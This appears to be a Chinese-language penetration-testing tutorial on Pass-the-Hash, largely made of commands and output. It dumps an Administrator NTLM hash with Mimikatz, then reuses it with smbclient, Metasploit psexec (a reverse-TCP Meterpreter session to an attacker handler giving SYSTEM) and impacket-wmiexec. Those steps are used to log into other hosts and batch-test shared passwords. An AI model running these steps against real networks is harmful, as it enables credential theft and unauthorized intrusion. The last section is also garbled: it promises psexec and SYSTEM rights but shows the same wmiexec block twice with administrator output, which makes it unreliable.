Pass-the-Hash简称PTH,即Hash中继技术。我们在内网渗透中,常常会遇到这样一种场景:获得了某台Windows主机的权限,且已知username,但是读取其NTML Hash以后无法破解,或者破解的时间非常长。这时候又需要登录该主机,做其他操作,那我们就可以采用hash中继来实现一定的目的。除此之外,也可能还会有这么一种情况:当我们获取到某台Windows主机权限后,我们还想看看同一内网中有没有通用口令,但是我们当前并不知道现在以获得权限的这台主机口令。这时候我们也可以采用PtH技术来批量去登录通用口令的其他机器。
01
获取NTML Hash
获取NTML Hash的方式很多,比如Meterpreter中有专门获取NTML Hash的模块,也可以SAM文件离线提取,在Cobalt Strike中也有提取NTML hash的模块。本文重点要讲的是PtH技术,Hash提取的方法这里选用最常见的Mimikatz来进行。需要注意的是,我们当前读取hash的机器IP是192.168.202.211,我们在下文或解释这有什么用。
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
...
mimikatz # lsadump::sam
...
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 7a38310ea6f0027ee955abed1762964b
02
smbclient & MSF
smbclient是一个smb服务器的客户端的管理程序,可以交互式的访问samba服务器。kali linux自带了这个工具。我们可以使用这个工具进行PtH访问目标的smb服务。在smbclient中,我们可以使用--pw-nt-hash来指定NTML Hash,并以此来进行smb登录。
smbclient \\\\192.168.202.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b
请注意看,刚刚我们提取Hash的机器是192.168.202.211,而此时我们登录的机器是192.168.202.212。之所以我们可以用211机器上的NTML Hash去登录212的SBM服务,是因为这两台机器的administrator用户的口令是相同的。同样,我们自然也能够使用MSF来进行Hash传递登录,并且配合meterpreter实现更多的目的。
msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set smbuser administrator
smbuser => administrator
msf6 exploit(windows/smb/psexec) > set smbpass 201b0e3078f2be635aaaa055ab5a7828:7a38310ea6f0027ee955abed1762964b
smbpass => 201b0e3078f2be635aaaa055ab5a7828:7a38310ea6f0027ee955abed1762964b
msf6 exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 192.168.45.211:4444
[*] 192.168.202.212:445 - Connecting to the server...
[*] 192.168.202.212:445 - Authenticating to 192.168.202.212:445 as user 'administrator'...
[*] 192.168.202.212:445 - Selecting PowerShell target
[*] 192.168.202.212:445 - Executing the payload...
[+] 192.168.202.212:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 192.168.202.212
[*] Meterpreter session 1 opened (192.168.45.211:4444 -> 192.168.202.212:50081) at 2023-05-16 03:10:53 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
03
Impacket-script
从MSF中使用的模块我们可以看到,其使用的是psexec模块。同样的,我们自然也可以使用Impacket-psexec来做到同样的事情。
┌──(root㉿kali)-[/home/kali]
└─# impacket-wmiexec -hashes 201b0e3078f2be635aaaa055ab5a7828:7a38310ea6f0027ee955abed1762964b [email protected]
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
files02\administrator
从上面的结果来看,我们获取到的是system权限。当然,如果我们只想要指定用户的权限(如administrator),我们可以用impacket-wmiexec来实现。其用法也是一样的。
┌──(root㉿kali)-[/home/kali]
└─# impacket-wmiexec -hashes 201b0e3078f2be635aaaa055ab5a7828:7a38310ea6f0027ee955abed1762964b [email protected]
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
files02\administrator